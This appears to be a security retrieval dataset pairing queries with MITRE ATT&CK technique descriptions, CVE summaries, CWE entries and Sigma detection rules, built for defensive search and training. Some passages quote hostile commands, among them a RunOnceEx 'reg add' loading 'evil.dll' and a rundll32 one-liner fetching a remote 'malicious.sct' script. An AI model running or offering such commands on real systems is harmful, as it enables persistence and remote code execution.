alirezaaminzadeh/secembed-pairs huggingface dataset:
Query: SIEM correlation: stealth activity consistent with Clear Network Connection History and Configurations
Matching passage: T1070.007 Clear Network Connection History and Configurations. Tactics: stealth. Description: Adversaries may clear or remove evidence of malicious network connections in order to clean up traces of their operations. Configuration settings as well as various artifacts that highlight connection history may be created on a system and/or in application logs from behaviors that require network connections, such as [Remote Services](https://attack.mitre.org/techniques/T1021) or [External Remote Services](https://attack.mitre.org/techniques/T1133). Defenders may use these artifacts to monitor or otherwise analyze network connections created by adversaries. Network connection history may be stored in various locations. For example, RDP connection history may be stored in Windows Registry values under (Citation: Microsoft RDP Removal): * <code>HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default</code> * <code>HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers</code> Windows may also store information about recent RDP connections in files such as <code>C:\Users\\%username%\Documents\Default.rdp</code> and `C:\Users\%username%\AppData\Local\Microsoft\Terminal Server Client\Cache\`.(Citation: Moran RDPieces) Similarly, macOS and Linux hosts may store information highlighting connection history in system logs (such as those stored in `/Library/Logs` and/or `/var/log/`).(Citation: Apple Culprit Access)(Citation: FreeDesktop Journal)(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing) Malicious network connections may also require changes to third-party applications or network configuration settings, such as [Disable or Modify System Firewall](https://attack.mitre.org/techniques/T1686) or tampering to enable [Proxy](https://attack.mitre.org/techniques/T1090). Adversaries may delete or modify this data to conceal indicators and/or impede defensive analysis.
Near-miss passage: T1070.005 Network Share Connection Removal. Tactics: stealth. Description: Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation. Windows shared drive and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) connections can be removed when no longer needed. [Net](https://attack.mitre.org/software/S0039) is an example utility that can be used to remove network share connections with the <code>net use \\system\share /delete</code> command. (Citation: Technet Net Use)
Query: exploit NTP 4.x before 4.2.8p6 and 4.3.x before 4.3.90 do not verify peer associations of symmetric keys when authenticating packets, which might allow remote attackers to conduct imperson
Matching passage: CVE-2015-7974. CWE: CWE-287. CVSS: 7.699999809265137. NTP 4.x before 4.2.8p6 and 4.3.x before 4.3.90 do not verify peer associations of symmetric keys when authenticating packets, which might allow remote attackers to conduct impersonation attacks via an arbitrary trusted key, aka a "skeleton key."
Near-miss passage: CVE-2015-2978. CWE: CWE-287. CVSS: 5.0. Webservice-DIC yoyaku_v41 allows remote attackers to bypass authentication and complete a conference-room reservation via unspecified vectors, as demonstrated by an "unintentional reservation."
Query: Sigma rule for Adversaries may abuse features of Winlogon to execute DLLs and/or executables when a user logs in. Winlogon.exe is a Win
Matching passage: Sigma rule: Adversaries may abuse features of Winlogon to execute DLLs and/or executables when a user logs in. Winlogon.exe is a Win. Logsource: windows / registry_set. Rule: title: Winlogon Notify Key Logon Persistence id: bbf59793-6efb-4fa1-95ca-a7d288e52c88 status: test description: 'Adversaries may abuse features of Winlogon to execute DLLs and/or executables when a user logs in. Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. ' references: - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.004/T1547.004.md#atomic-test-3---winlogon-notify-key-logon-persistence---powershell author: frack113 date: 2021-12-30 modified: 2023-08-17 tags: - attack.privilege-escalation - attack.persistence - attack.t1547.004 logsource: category: registry_set product: windows detection: selection: TargetObject|endswith: \SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\logon Details|endswith: .dll condition: selection falsepositives: - Unknown level: high
Near-miss passage: Sigma rule: Detect the use of "sc.exe" to change the startup type of a service to "disabled" or "demand". Logsource: windows / process_creation. Rule: title: Service StartupType Change Via Sc.EXE id: 85c312b7-f44d-4a51-a024-d671c40b49fc status: test description: Detect the use of "sc.exe" to change the startup type of a service to "disabled" or "demand" references: - https://www.virustotal.com/gui/file/38283b775552da8981452941ea74191aa0d203edd3f61fb2dee7b0aea3514955 author: Nasreddine Bencherchali (Nextron Systems) date: 2022-08-01 modified: 2023-03-04 tags: - attack.execution - attack.defense-impairment - attack.t1685 logsource: category: process_creation product: windows detection: selection_img: - Image|endswith: \sc.exe - OriginalFileName: sc.exe selection_cli: CommandLine|contains|all: - ' config ' - start CommandLine|contains: - disabled - demand condition: all of selection_* falsepositives: - False positives may occur with troubleshooting scripts level: medium
Query: patch priority for CVE-2015-8668
Matching passage: CVE-2015-8668. CWE: CWE-787. CVSS: 9.800000190734863. Heap-based buffer overflow in the PackBitsPreEncode function in tif_packbits.c in bmp2tiff in libtiff 4.0.6 and earlier allows remote attackers to execute arbitrary code or cause a denial of service via a large width field in a BMP image.
Near-miss passage: CVE-2015-8782. CWE: CWE-787. CVSS: 6.5. tif_luv.c in libtiff allows attackers to cause a denial of service (out-of-bounds writes) via a crafted TIFF image, a different vulnerability than CVE-2015-8781.
Query: what is T1547.008
Matching passage: T1547.008 LSASS Driver. Tactics: persistence, privilege escalation. Description: Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems. The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process.(Citation: Microsoft Security Subsystem) Adversaries may target LSASS drivers to obtain persistence. By either replacing or adding illegitimate drivers (e.g., [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574)), an adversary can use LSA operations to continuously execute malicious payloads.
Near-miss passage: T1547.001 Registry Run Keys / Startup Folder. Tactics: persistence, privilege escalation. Description: Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.(Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level. The following run keys are created by default on Windows systems: * <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run</code> * <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce</code> * <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run</code> * <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce</code> Run keys may exist under multiple hives.(Citation: Microsoft Wow6432Node 2018)(Citation: Malwarebytes Wow6432Node 2016) The <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx</code> is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency.(Citation: Microsoft Run Key) For example, it is possible to load a DLL at logon using a "Depend" key with RunOnceEx: <code>reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "C:\temp\evil[.]dll"</code> (Citation: Oddvar Moe RunOnceEx Mar 2018) Placing a program within a startup folder will also cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. The startup folder path for the current user is <code>C:\Users\\[Username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup</code>. The startup folder path for all users is <code>C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp</code>. The following Registry
Query: CWE for Call to Non-ubiquitous API
Matching passage: CWE-589 Call to Non-ubiquitous API. The product uses an API function that does not exist on all versions of the target platform. This could cause portability problems or inconsistencies that allow denial of service or other consequences.
Near-miss passage: CWE-406 Insufficient Control of Network Message Volume (Network Amplification). The product does not sufficiently monitor or control transmitted network traffic volume, so that an actor can cause the product to transmit more traffic than should be allowed for that actor.
Query: write Sigma for Detects a suspicious or uncommon parent processes of PowerShell
Matching passage: Sigma rule: Detects a suspicious or uncommon parent processes of PowerShell. Logsource: windows / process_creation. Rule: title: Suspicious PowerShell Parent Process id: 754ed792-634f-40ae-b3bc-e0448d33f695 related: - id: 692f0bec-83ba-4d04-af7e-e884a96059b6 type: derived status: test description: Detects a suspicious or uncommon parent processes of PowerShell references: - https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=26 author: Teymur Kheirkhabarov, Harish Segar date: 2020-03-20 modified: 2023-02-04 tags: - attack.execution - attack.t1059.001 logsource: category: process_creation product: windows detection: selection_parent: - ParentImage|contains: tomcat - ParentImage|endswith: - \amigo.exe - \browser.exe - \chrome.exe - \firefox.exe - \httpd.exe - \iexplore.exe - \jbosssvc.exe - \microsoftedge.exe - \microsoftedgecp.exe - \MicrosoftEdgeSH.exe - \mshta.exe - \nginx.exe - \outlook.exe - \php-cgi.exe - \regsvr32.exe - \rundll32.exe - \safari.exe - \services.exe - \sqlagent.exe - \sqlserver.exe - \sqlservr.exe - \vivaldi.exe - \w3wp.exe selection_powershell: - Image|endswith: - \powershell.exe - \pwsh.exe - CommandLine|contains: - /c powershell - /c pwsh - Description: Windows PowerShell - Product: PowerShell Core 6 - OriginalFileName: - PowerShell.EXE - pwsh.dll condition: all of selection_* falsepositives: - Other scripts level: high
Near-miss passage: Sigma rule: Detects the usage of "mstsc.exe" with the "/v" flag to initiate a connection to a remote server. Adversaries may use val. Logsource: windows / process_creation. Rule: title: New Remote Desktop Connection Initiated Via Mstsc.EXE id: 954f0af7-62dd-418f-b3df-a84bc2c7a774 status: test description: 'Detects the usage of "mstsc.exe" with the "/v" flag to initiate a connection to a remote server. Adversaries may use valid accounts to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user. ' references: - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1021.001/T1021.001.md#t1021001---remote-desktop-protocol - https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/mstsc author: frack113 date: 2022-01-07 modified: 2024-06-04 tags: - attack.lateral-movement - attack.t1021.001 logsource: category: process_creation product: windows detection: selection_img: - Image|endswith: \mstsc.exe - OriginalFileName: mstsc.exe selection_cli: CommandLine|contains|windash: ' /v:' filter_optional_wsl: ParentImage: C:\Windows\System32\lxss\wslhost.exe CommandLine|contains: C:\ProgramData\Microsoft\WSL\wslg.rdp condition: all of selection_* and not 1 of filter_optional_* falsepositives: - WSL (Windows Sub System For Linux) level: medium
Query: vulnerability: WebKit in Apple iOS before 9 allows man-in-the-middle attackers to conduct redirection attacks by leveraging the mishandling of the resource cache of an SSL web site with an invali
Matching passage: CVE-2015-5907. CWE: CWE-310. CVSS: 2.5999999046325684. WebKit in Apple iOS before 9 allows man-in-the-middle attackers to conduct redirection attacks by leveraging the mishandling of the resource cache of an SSL web site with an invalid X.509 certificate.
Near-miss passage: CVE-2015-1637. CWE: CWE-310. CVSS: 4.300000190734863. Schannel (aka Secure Channel) in Microsoft Windows Server 2003 SP2, Windows Vista SP2, Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8, Windows 8.1, Windows Server 2012 Gold and R2, and Windows RT Gold and 8.1 does not properly restrict TLS state transitions, which makes it easier for remote attackers to conduct cipher-downgrade attacks to EXPORT_RSA ciphers via crafted TLS traffic, related to the "FREAK" issue, a different vulnerability than CVE-2015-0204 and CVE-2015-1067.
Query: Sigma YAML for windows / process_creation
Matching passage: Sigma rule: Detects a suspicious RDP session redirect using tscon.exe. Logsource: windows / process_creation. Rule: title: Suspicious RDP Redirect Using TSCON id: f72aa3e8-49f9-4c7d-bd74-f8ab84ff9bbb status: test description: Detects a suspicious RDP session redirect using tscon.exe references: - http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html - https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6 - https://www.hackingarticles.in/rdp-session-hijacking-with-tscon/ author: Florian Roth (Nextron Systems) date: 2018-03-17 modified: 2023-05-16 tags: - attack.lateral-movement - attack.t1563.002 - attack.t1021.001 - car.2013-07-002 logsource: category: process_creation product: windows detection: selection: CommandLine|contains: ' /dest:rdp-tcp#' condition: selection falsepositives: - Unknown level: high
Near-miss passage: Sigma rule: Detects Azure Hybrid Connection Manager services querying the Azure service bus service. Logsource: windows / dns_query. Rule: title: DNS HybridConnectionManager Service Bus id: 7bd3902d-8b8b-4dd4-838a-c6862d40150d status: test description: Detects Azure Hybrid Connection Manager services querying the Azure service bus service references: - https://twitter.com/Cyb3rWard0g/status/1381642789369286662 author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research) date: 2021-04-12 modified: 2023-01-16 tags: - attack.persistence - attack.t1554 logsource: product: windows category: dns_query detection: selection: QueryName|contains: servicebus.windows.net Image|contains: HybridConnectionManager condition: selection falsepositives: - Legitimate use of Azure Hybrid Connection Manager and the Azure Service Bus service level: high
Query: vulnerability: Unspecified vulnerability in Oracle MySQL Server 5.6.24 and earlier allows remote authenticated users to affect availability via unknown vectors related to Server : Security : Priv
Matching passage: CVE-2015-2641. CWE: UNKNOWN. CVSS: 3.5. Unspecified vulnerability in Oracle MySQL Server 5.6.24 and earlier allows remote authenticated users to affect availability via unknown vectors related to Server : Security : Privileges.
Near-miss passage: CVE-2015-4765. CWE: UNKNOWN. CVSS: 3.5. Unspecified vulnerability in the Oracle Applications Manager component in Oracle E-Business Suite 12.1.3, 12.2.3, and 12.2.4 allows remote authenticated users to affect integrity via vectors related to OAM Dashboard.
Query: detect Local Account
Matching passage: T1087.001 Local Account. Tactics: discovery. Description: Adversaries may attempt to get a listing of local system accounts. This information can help adversaries determine which local accounts exist on a system to aid in follow-on behavior. Commands such as <code>net user</code> and <code>net localgroup</code> of the [Net](https://attack.mitre.org/software/S0039) utility and <code>id</code> and <code>groups</code> on macOS and Linux can list local users and groups.(Citation: Mandiant APT1)(Citation: id man page)(Citation: groups man page) On Linux, local users can also be enumerated through the use of the <code>/etc/passwd</code> file. On macOS, the <code>dscl . list /Users</code> command can be used to enumerate local accounts. On ESXi servers, the `esxcli system account list` command can list local user accounts.(Citation: Crowdstrike Hypervisor Jackpotting Pt 2 2021)
Near-miss passage: T1087.004 Cloud Account. Tactics: discovery. Description: Adversaries may attempt to get a listing of cloud accounts. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application. With authenticated access there are several tools that can be used to find accounts. The <code>Get-MsolRoleMember</code> PowerShell cmdlet can be used to obtain account names given a role or permissions group in Office 365.(Citation: Microsoft msolrolemember)(Citation: GitHub Raindance) The Azure CLI (AZ CLI) also provides an interface to obtain user accounts with authenticated access to a domain. The command <code>az ad user list</code> will list all users within a domain.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018) The AWS command <code>aws iam list-users</code> may be used to obtain a list of users in the current account while <code>aws iam list-roles</code> can obtain IAM roles that have a specified path prefix.(Citation: AWS List Roles)(Citation: AWS List Users) In GCP, <code>gcloud iam service-accounts list</code> and <code>gcloud projects get-iam-policy</code> may be used to obtain a listing of service accounts and users in a project.(Citation: Google Cloud - IAM Servie Accounts List API)
Query: Persistence mechanism resembling Msiexec
Matching passage: T1218.007 Msiexec. Tactics: stealth. Description: Adversaries may abuse msiexec.exe to proxy execution of malicious payloads. Msiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi).(Citation: Microsoft msiexec) The Msiexec.exe binary may also be digitally signed by Microsoft. Adversaries may abuse msiexec.exe to launch local or network accessible MSI files. Msiexec.exe can also execute DLLs.(Citation: LOLBAS Msiexec)(Citation: TrendMicro Msiexec Feb 2018) Since it may be signed and native on Windows systems, msiexec.exe can be used to bypass application control solutions that do not account for its potential abuse. Msiexec.exe execution may also be elevated to SYSTEM privileges if the <code>AlwaysInstallElevated</code> policy is enabled.(Citation: Microsoft AlwaysInstallElevated 2018)
Near-miss passage: T1218.011 Rundll32. Tactics: stealth. Description: Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: <code>rundll32.exe {DLLname, DLLfunction}</code>). Rundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002) Item files (.cpl) through the undocumented shell32.dll functions <code>Control_RunDLL</code> and <code>Control_RunDLLAsUser</code>. Double-clicking a .cpl file also causes rundll32.exe to execute.(Citation: Trend Micro CPL) For example, [ClickOnce](https://attack.mitre.org/techniques/T1127/002) can be proxied through Rundll32.exe. Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: <code>rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")"</code> This behavior has been seen used by malware such as Poweliks.(Citation: This is Security Command Line Confusion) Threat actors may also abuse legitimate, signed system DLLs (e.g., <code>zipfldr.dll, ieframe.dll</code>) with <code>rundll32.exe</code> to execute malicious programs or scripts indirectly, making their activity appear more legitimate and evading detection.(Citation: lolbas project Zipfldr.dll)(Citation: lolbas project Ieframe.dll) Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command <code>rundll32.exe ExampleD
Query: risk of Juniper chassis with Trio (Trinity) chipset line cards and Junos OS 13.3 before 13.3R8, 14.1 before 14.1R6, 14.2 before 14.2R5, and 15.1 before 15.1R2 allow remote attackers to cau
Matching passage: CVE-2015-7748. CWE: CWE-20. CVSS: 5.0. Juniper chassis with Trio (Trinity) chipset line cards and Junos OS 13.3 before 13.3R8, 14.1 before 14.1R6, 14.2 before 14.2R5, and 15.1 before 15.1R2 allow remote attackers to cause a denial of service (MPC line card crash) via a crafted uBFD packet.
Near-miss passage: CVE-2015-1855. CWE: CWE-20. CVSS: 5.900000095367432. verify_certificate_identity in the OpenSSL extension in Ruby before 2.0.0 patchlevel 645, 2.1.x before 2.1.6, and 2.2.x before 2.2.2 does not properly validate hostnames, which allows remote attackers to spoof servers via vectors related to (1) multiple wildcards, (1) wildcards in IDNA names, (3) case sensitivity, and (4) non-ASCII characters.
Query: CVE similar to CVE-2015-5183
Matching passage: CVE-2015-5183. CWE: UNKNOWN. CVSS: 7.5. Console: HTTPOnly and Secure attributes not set on cookies in Red Hat AMQ.
Near-miss passage: CVE-2015-2611. CWE: UNKNOWN. CVSS: 4.0. Unspecified vulnerability in Oracle MySQL Server 5.6.24 and earlier allows remote authenticated users to affect availability via vectors related to DML.
Query: weakness Dead Code
Matching passage: CWE-561 Dead Code. The product contains dead code, which can never be executed.
Near-miss passage: CWE-529 Exposure of Access Control List Files to an Unauthorized Control Sphere. The product stores access control list files in a directory or other container that is accessible to actors outside of the intended control sphere.
Query: common weakness: Incomplete Model of Endpoint Features
Matching passage: CWE-437 Incomplete Model of Endpoint Features. A product acts as an intermediary or monitor between two or more endpoints, but it does not have a complete model of an endpoint's features, behaviors, or state, potentially causing the product to perform incorrect actions based on this incomplete model.
Near-miss passage: CWE-268 Privilege Chaining. Two distinct privileges, roles, capabilities, or rights can be combined in a way that allows an entity to perform unsafe actions that would not be allowed without that combination.